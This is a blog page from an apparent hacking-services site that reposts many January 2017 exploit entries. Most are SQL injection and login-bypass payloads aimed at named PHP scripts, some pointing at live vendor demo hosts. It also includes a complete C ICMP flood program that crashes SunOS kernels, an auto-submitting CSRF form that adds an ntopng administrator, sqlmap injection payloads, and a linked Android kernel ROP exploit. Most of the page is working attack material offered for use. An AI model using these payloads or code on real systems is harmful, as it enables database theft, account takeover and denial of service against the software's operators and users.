Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863583356

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: NGO Directory Script
# Script Buy Now: http://www.popularclones.com/products/NGO-Directory-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/add_country.php?countryid=[SQL]
# http://localhost/[PATH]/admin/states_add.php?state_id=[SQL]
# http://localhost/[PATH]/admin/cities_add.php?cityid=[SQL]
# http://localhost/[PATH]/admin/request_add.php?request_id=[SQL]
# http://localhost/[PATH]/admin/good_category_add.php?goods_cat_id=[SQL]
# http://localhost/[PATH]/details_religios.html?project_id=[SQL]
# http://localhost/[PATH]/details.html?project_id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Yoga and Fitness Website Script
# Script Buy Now: http://www.popularclones.com/products/Yoga-and-Fitness-Website
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/promo_classes.php?cid=[SQL]
# http://localhost/[PATH]/style.php?s=[SQL]
# http://localhost/[PATH]/teacherindi.php?t=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: NGO Website Script
# Script Buy Now: http://www.popularclones.com/products/NGO-Website-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/addnew.event.php?id=[SQL]
# http://localhost/[PATH]/admin/add_new_photo.php?id=[SQL]
# http://localhost/[PATH]/admin/add_new_project.php?id=[SQL]
# http://localhost/[PATH]/admin/add_new_video.php?id=[SQL]
# http://localhost/[PATH]/admin/addnew.activity.php?id=[SQL]
# http://localhost/[PATH]/admin/addblog.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection
# Date: 15.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Questions and Answers Script V1.1.3
# Script Buy Now: http://www.scriptfolder.com/questions-and-answers/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/question.php?id=[SQL]
# http://localhost/[PATH]/category.php?id=[SQL]
# E.t.c.... 
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Online Mobile Recharge
# Script Buy Now: http://www.popularclones.com/products/Online-Mobile-Recharge
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/user_edit.php?id=[SQL]
# http://localhost/[PATH]/admin/page.editor.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Online Printing Business Clone Script
# Script Buy Now: http://www.popularclones.com/products/Online-Print-Business
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/product-decs.php?cat_id=[SQL]
# http://localhost/[PATH]/admin/product.entryform.php?product_id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Home of Viral Images, Videos and Articles Script
# Script Buy Now: http://www.scriptfolder.com/viralzone-home-of-viral-images-videos-and-articles/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
HireHackking 
/*
*  SunOS 5.11 Remote ICMP Weakness Kernel DoS Exploit
*
*  Todor Donev <todor.donev@gmail.com>
*  http://www.ethical-hacker.org/
*  https://www.facebook.com/ethicalhackerorg
*
*  Disclaimer:
*  This or previous programs is for Educational
*  purpose ONLY. Do not use it without permission.
*  The usual disclaimer applies, especially the
*  fact that Todor Donev is not liable for any
*  damages caused by direct or indirect use of the
*  information or functionality provided by these
*  programs. The author or any Internet provider
*  bears NO responsibility for content or misuse
*  of these programs or any derivatives thereof.
*  By using these programs you accept the fact
*  that any damage (dataloss, system crash,
*  system compromise, etc.) caused by the use
*  of these programs is not Todor Donev's
*  responsibility.
*
*  Use them at your own risk!
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
=20
unsigned char b00m[75] =3D
{
    0x45, 0xFF, 0x00, 0x4D, 0x0C,
    0x52, 0x00, 0x00, 0x7E, 0x01,
    0x0C, 0xF2, 0x85, 0x47, 0x21,
    0x07, 0xC0, 0xA8, 0x0E, 0x58,
    0x03, 0x01, 0xAE, 0x37, 0x6F,
    0x3B, 0x66, 0xA7, 0x60, 0xAA,
    0x76, 0xC1, 0xEC, 0xA7, 0x7D,
    0xFA, 0x8A, 0x72, 0x8E, 0xC6,
    0xE3, 0xD2, 0x64, 0x13, 0xE7,
    0x4D, 0xBC, 0x01, 0x40, 0x5B,
    0x8E, 0x8B, 0xE5, 0xEE, 0x5E,
    0x37, 0xDD, 0xC2, 0x54, 0x8E,
    0x8D, 0xCE, 0x0C, 0x42, 0x97,
    0xA1, 0x8C, 0x04, 0x8A, 0xC2,=20
    0x6B, 0xAE, 0xE9, 0x2E, 0xFE,
} ;
=20
    long   resolve(char *target){
    struct hostent *tgt;
    long   addr;
=20
    tgt =3D gethostbyname(target);
if (tgt =3D=3D NULL)
  return(-1);
    memcpy(&addr,tgt->h_addr,tgt->h_length);
    memcpy(b00m+16,&addr,sizeof(long));
  return(addr);
}
int main(int argc, char *argv[]){
    struct  sockaddr_in dst;
    long    saddr, daddr;
    int     s0cket;
    printf("[ SunOS 5.11 Remote ICMP Weakness Kernel DoS Exploit\n");
    printf("[ Todor Donev <todor.donev@gmail.com> www.ethical-hacker.org\n"=
);
  if (argc < 2){
    printf("[ Usage: %s <target>\n", *argv);
    return(1);
  }
  daddr   =3D resolve(argv[1]);
  saddr   =3D INADDR_ANY;
  memcpy(b00m+16, &daddr, sizeof(long));
  dst.sin_addr.s_addr   =3D daddr;
  dst.sin_family        =3D AF_INET;
  s0cket                =3D socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s0cket =3D=3D -1)
    return(1);
    printf("[ ICMP Attacking: %s\n", argv[1]);
  while(1){
    if (sendto(s0cket,&b00m,75,0,(struct sockaddr *)&dst,sizeof(struct sock=
addr_in)) =3D=3D -1){
         perror("[ Error");
         exit(-1);
    }
  }
}
HireHackking 
[+]#####################################################################################
[+] Credits / Discovery: John Page AKA Hyp3rlinX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
[+] ISR: ApparitionSEC
[+]#####################################################################################



Vendor:
============
www.ntop.org


Product:
====================
ntopng Web Interface
v2.4.160627

ntopng is the next generation version of the original ntop, a network
traffic probe that shows the network usage, similar
to what the popular top Unix command does. ntopng is based on libpcap and
it has been written in a portable way in order to
virtually run on every Unix platform, MacOSX and on Windows as well.


Vulnerability Type:
==================
CSRF Token Bypass



CVE Reference:
================
CVE-2017-5473



Security Issue:
=================
By simply omitting the CSRF token or supplying arbitrary token values will
bypass CSRF protection when making HTTP requests,
to the ntopng web interface. Allowing remote attackers the rights to make
HTTP requests on an authenticated users behalf, if
the user clicks an malicious link or visits an attacker webpage etc.


Exploit/POC:
============

1) Change admin password
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123


2) Add arbitrary

<form action="
http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"
method="GET">
<input type="hidden" name="username"  value="hyp3rlinx">
<input type="hidden" name="full_name"  value="TheApparitioN">
<input type="hidden" name="password"  value="abc123">
<input type="hidden" name="confirm_password"  value="abc123">
<input type="hidden" name="host_role"  value="administrator">
<input type="hidden" name="allowed_networks"  value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface"  value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>



Disclosure Timeline:
=====================
Vendor Notification: January 11, 2017
Vendor acknowledgement: January 12, 2017
Vendor Fixed Issue
January 20, 2017 : Public Disclosure



Network Access:
===============
Remote


Impact:
======================
Information Disclosure
Privilege Escalation



Severity:
===========
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.  All content (c) HYP3RLINX -
Apparition
HireHackking 
# # # # # 
# Exploit Title: B2B Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: https://www.clonescriptsoft.com/
# Software Buy: https://www.clonescriptsoft.com/collections/b2b-alibaba-clone/products/alibaba-clone
# Demo: http://alibaba.clonescriptsoft.com/
# Version: N/A
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/category.php?IndustryID=[SQL]
# E.t.c....
# # # # #


SQL Injection
http://alibaba.clonescriptsoft.com/category.php?IndustryID=-1+union+select+1,2,version()

http://alibaba.clonescriptsoft.com/category.php?IndustryID=-1+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--
HireHackking 
# # # # # 
# Exploit Title: IC-Mini CMS Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/mini_cms.htm
# Demo: http://www.icloudcenter.net/demos/mini_cms/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]//index.php?page=login and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICAffiliateTracking - Affiliate Tracking Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/affiliates-tracking-script.htm
# Demo: http://www.icloudcenter.com/demos/icaffiliatetracking/
# Version: 1.2
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/adminlogin.asp and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICMusic - Music Site Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/music-site-script.htm
# Demo: http://icloudcenter.net/demos/icmusic/
# Version: 1.2
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICJobSite-Job Site PHP Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/jobs-site-script.htm
# Demo: http://icloudcenter.net/demos/icjobsite/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?admin=login and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: IC-Mini Blog Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/mini_blog.htm
# Demo: http://www.icloudcenter.net/demos/mini_blog/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/index.php?admin=login and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICTutors-Tutoring Site Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/tutoring-site-script.htm
# Demo: http://www.icloudcenter.net/demos/ictutors/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICDomains-Domains Marketplace Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/domains-marketplace-script.htm
# Demo: http://icloudcenter.net/demos/icdomains/
# Version: 1.1
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# # # # # 
# Exploit Title: ICGames-Games Site Script - Authentication Bypass
# Google Dork: N/A
# Date: 20.01.2017
# Vendor Homepage: http://www.icloudcenter.com/
# Software Buy: http://www.icloudcenter.com/games-site-script.htm
# Demo: http://www.icloudcenter.net/demos/icgames/
# Version: 1.2
# Tested on: Win7 x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #
HireHackking 
# Title : Complain Management System SQL Injection
# Date: 20 January 2017
# Exploit Author: Sibusiso Sishi sibusiso@ironsky.co.za
# Tested on: Windows7 x32
# Vendor: https://sourceforge.net/projects/complain-management-system/
# Version: not supplied
# Download Software: https://sourceforge.net/projects/complain-management-system/files
 
#################################################

## About The Product : ##
Complain Management is a Web based project used to manage Customer's complain Online. User can login, and Create complain, view complain details and track the status of its complain.

## Vulnerability : ## 
The functions.php file line 88 has hardcoded admin credentials.
		elseif($uType == 'admin'){
			//$_SESSION['user_id'] = $row['sid'];
			if($userName == 'admin' && $password == 'admin123'){
				$_SESSION['user_id'] = 0;
				$_SESSION['user_name'] = 'Administrator';
				$_SESSION['user_type'] = 'admin';
				header('Location: '.WEB_ROOT.'index.php');
				exit;

Using the hardcoded admin credentials we then have access to the process.php file that is vulnerable to SQL injection.

-HTTP Method : GET

- Sqlmap command: sqlmap -u "http://192.168.19.135/cms/process.php?action=deleteCust&cId=123" --cookie="PHPSESSID=q446r5fqav1qlljb7cohd29r85"

- Sqlmap Output : 
sqlmap identified the following injection point(s) with a total of 622 HTTP(s) requests:
---
Parameter: cId (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: action=deleteCust&cId=123 RLIKE (SELECT (CASE WHEN (8336=8336) THEN 123 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: action=deleteCust&cId=123 AND EXTRACTVALUE(8194,CONCAT(0x5c,0x7171706a71,(SELECT (ELT(8194=8194,1))),0x716a6b6271))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=deleteCust&cId=123 AND (SELECT * FROM (SELECT(SLEEP(5)))fdmM)
---
[22:54:32] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.1
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=967

The TSP touchscreen controller driver exposes several sysfs entries through which the driver may be configured. One such entry, "cmd", allows the user to write commands to be executed by the driver.

Specifically, the "cmd" entry is writable, and is present under:

/sys/devices/virtual/sec/tsp/cmd

Writes to this sysfs entry are handled by the function "cmd_store", under drivers/input/touchscreen/sec_ts/sec_ts_fn.c

This function fails to validate the length of the supplied buffer, before copying data from it into two memory locations. First, the data is copied into a static structure:

    ...
    memset(ts->cmd, 0x00, sizeof(ts->cmd));
    memcpy(ts->cmd, buf, length);
    memset(ts->cmd_param, 0, sizeof(ts->cmd_param));
    memset(buffer, 0x00, sizeof(buffer));
    ...

The "buf" argument contains the user-supplied data, and the "length" argument is completely user-controlled. Since the length of ts->cmd is defined to be CMD_STR_LEN (256), this memcpy will overflow into adjacent fields in the "ts" structure, allowing the attack to replace these with attack-controlled data.

Second, the user-supplied data is copied into a local stack-allocated buffer, like so:

    ...
    char buffer[CMD_STR_LEN];
    ...
    pos = strchr(buf, (int)delim);
    if (pos)
        memcpy(buffer, buf, pos - buf);
    else
        memcpy(buffer, buf, length);
    ...


This means that the attacker can also overwrite the data on the stack, including the value of frame pointer and return address, simply by providing a buffer of length >CMD_STR_LEN. This allows the attacker to directly hijack the control flow when the function returns.

I've statically and dynamically verified this issue on an SM-G935F device. The open-source kernel package I analysed was "SM-G935F_MM_Opensource", the device's build is "XXS1APG3".

The sysfs entries mentioned above have UID "system" and GID "radio". The SELinux context for these entries is: "u:object_r:sysfs_sec:s0".

According to the default SELinux rules as present on the SM-G935F (version XXS1APG3), the following contexts may access these files:

   allow shell sysfs_sec : file { read open } ; 
   allow system_app sysfs_sec : file { ioctl read write getattr lock append open } ; 
   allow rild sysfs_sec : file { ioctl read write getattr lock append open } ; 
   allow system_app sysfs_sec : dir { ioctl read write getattr add_name remove_name search open } ; 
   allow diagexe sysfs_sec : file { ioctl read write getattr lock append open } ; 
   allow at_distributor sysfs_sec : file { ioctl read write getattr setattr lock append open } ; 


Proof of concept for the buffer overflow in the TSP driver.

Includes a short ROP chain which allows execution of any arbitrary function in the context of the linux kernel, with arbitrary arguments. This PoC also uses the KASLR bypass in "pm_qos" to adjust for the KASLR slide).

The high-level flow for executing a function in the kernel is the following:
  -Allocate a (user-space) buffer on the heap with a dummy "marker" value
  -Start a new thread (denote it "Thread B", denote the original thread "Thread A")
  -Thread A:
    -Perform a busy loop waiting for the dummy value to be updated
  -Thread B:
    -Create a ROP chain which does the following:
      -Prepares arguments for a function call
      -Calls the wanted function in the context of the kernel
      -Stores X0 in a sysfs entry in the kernel VAS (e.g., uevent_seqnum)
      -Change the dummy value shared from thread A to indicate completion
      -Enter idle loop
  -Thread A:
    -(Exit busy loop as the marker value has been modified)
    -Read the result of the execution by reading the sysfs entry


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41130.zip
HireHackking 
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Classifieds Script 
# Script Buy Now:http://www.scriptfolder.com/scriptfolder-classifieds/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
HireHackking 
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: VideoZone - Video Site Creator Script 
# Script Buy Now: http://www.scriptfolder.com/scriptfolder-videozone-video-site-creator/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
HireHackking 
# Vulnerability: B2B Script v4.27 - SQL Injection
# Date: 18.01.2017
# Software link: http://itechscripts.com/b2b-script/
# Demo: http://b2b.itechscripts.com
# Price: 199$
# Category: webapps
# Exploit Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawidmorawski1990@gmail.com
#######################################

1. Description
An attacker can exploit this vulnerability to read from the database.

2. SQL Injection / Proof of Concept:

http://localhost/[PATH]/search.php?keywords=[SQL]
SQLmap outout:

Parameter: keywords (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: keywords=-7908') OR 3641=3641#

    Type: UNION query
    Title: MySQL UNION query (NULL) - 2 columns
    Payload: keywords=Products') UNION ALL SELECT
NULL,CONCAT(0x716b7a7871,0x68634473486965586e6b57754358736b487a43564c6963646e556549454e476177776a5a6a7a4c4c,0x71767a7a71)#
---
[INFO] testing MySQL
 [INFO] confirming MySQL
 [INFO] the back-end DBMS is MySQL

#########################################

http://localhost/[PATH]/catcompany.php?token=[SQL]
SQLmap outout:

Parameter: token (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND 9125=9125 AND
'HhOm'='HhOm

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: token=7532a5bfc9e07964f8dddeb95fc584cd965d' AND SLEEP(5) AND
'dWKJ'='dWKJ

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: token=-7417' UNION ALL SELECT
NULL,CONCAT(0x7171707071,0x6a6c6d484f58726e48446167417a66756464445941464844416856527a634a704f4b79647a494654,0x716b786271),NULL,NULL,NULL,NULL--
aNXq
HireHackking 
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Flippa Website Script
# Script Buy Now: http://www.popularclones.com/products/Flippa-Website
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin_new/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin_new/category.entryform.php?cat_id=[SQL]
# http://localhost/[PATH]/admin_new/page.editor.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
HireHackking 
# Title : Courier Management System - Sql Injection and non-persistent XSS login portal
# Date: 17 January 2017
# Exploit Author: Sibusiso Sishi sibusiso@ironsky.co.za
# Tested on: Windows7 x32
# Vendor: http://couriermanageme.sourceforge.net/
# Version: not supplied
# Download Software: https://sourceforge.net/projects/couriermanageme/files/
 
#################################################

## About The Product : ##
Courier Management System is the simplest solution for Courier & Cargo Tracking Business. If you need to enable Tracking Option in your existing or new website, this is quickest Software Solution.You can get install it yourselves or We do the installation and brand it in your name on your hosting.The Courier Software is Very easy to setup and manage powerful administration. Provide online tracking system of consignment and shipping detail for International or domestic shipping

## Vulnerability : ## 
The login portal is vulnerable to SQLi and cross-site scripting attacks

-HTTP Method : POST

POST /cms/login.php HTTP/1.1
Host: 192.168.19.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.19.135/cms/login.php
Cookie: PHPSESSID=q446r5fqav1qlljb7cohd29r85
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

txtusername=test&txtpassword=test&OfficeName=Fast+Courier+-+Jalgaon&Submit=Login+Now

- Sqlmap command: sqlmap -r exploit.txt

- Sqlmap Output : 
 sqlmap identified the following injection point(s) with a total of 824 HTTP(s) requests:
---
Parameter: txtpassword (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)
    Payload: txtusername=test&txtpassword=test' OR NOT 5887=5887#&OfficeName=Fast Courier - Jalgaon&Submit=Login Now

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: txtusername=test&txtpassword=test' AND (SELECT 9962 FROM(SELECT COUNT(*),CONCAT(0x71766a6b71,(SELECT (ELT(9962=9962,1))),0x717a6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- CqJl&OfficeName=Fast Courier - Jalgaon&Submit=Login Now

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: txtusername=test&txtpassword=test' OR SLEEP(5)-- VMai&OfficeName=Fast Courier - Jalgaon&Submit=Login Now

Parameter: txtusername (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: txtusername=test' RLIKE (SELECT (CASE WHEN (9742=9742) THEN 0x74657374 ELSE 0x28 END))-- FJke&txtpassword=test&OfficeName=Fast Courier - Jalgaon&Submit=Login Now

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: txtusername=test' AND (SELECT 6984 FROM(SELECT COUNT(*),CONCAT(0x71766a6b71,(SELECT (ELT(6984=6984,1))),0x717a6b7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nDYx&txtpassword=test&OfficeName=Fast Courier - Jalgaon&Submit=Login Now

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: txtusername=test' AND (SELECT * FROM (SELECT(SLEEP(5)))Aols)-- LarG&txtpassword=test&OfficeName=Fast Courier - Jalgaon&Submit=Login Now
---
[16:59:17] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.24
back-end DBMS: MySQL >= 5.0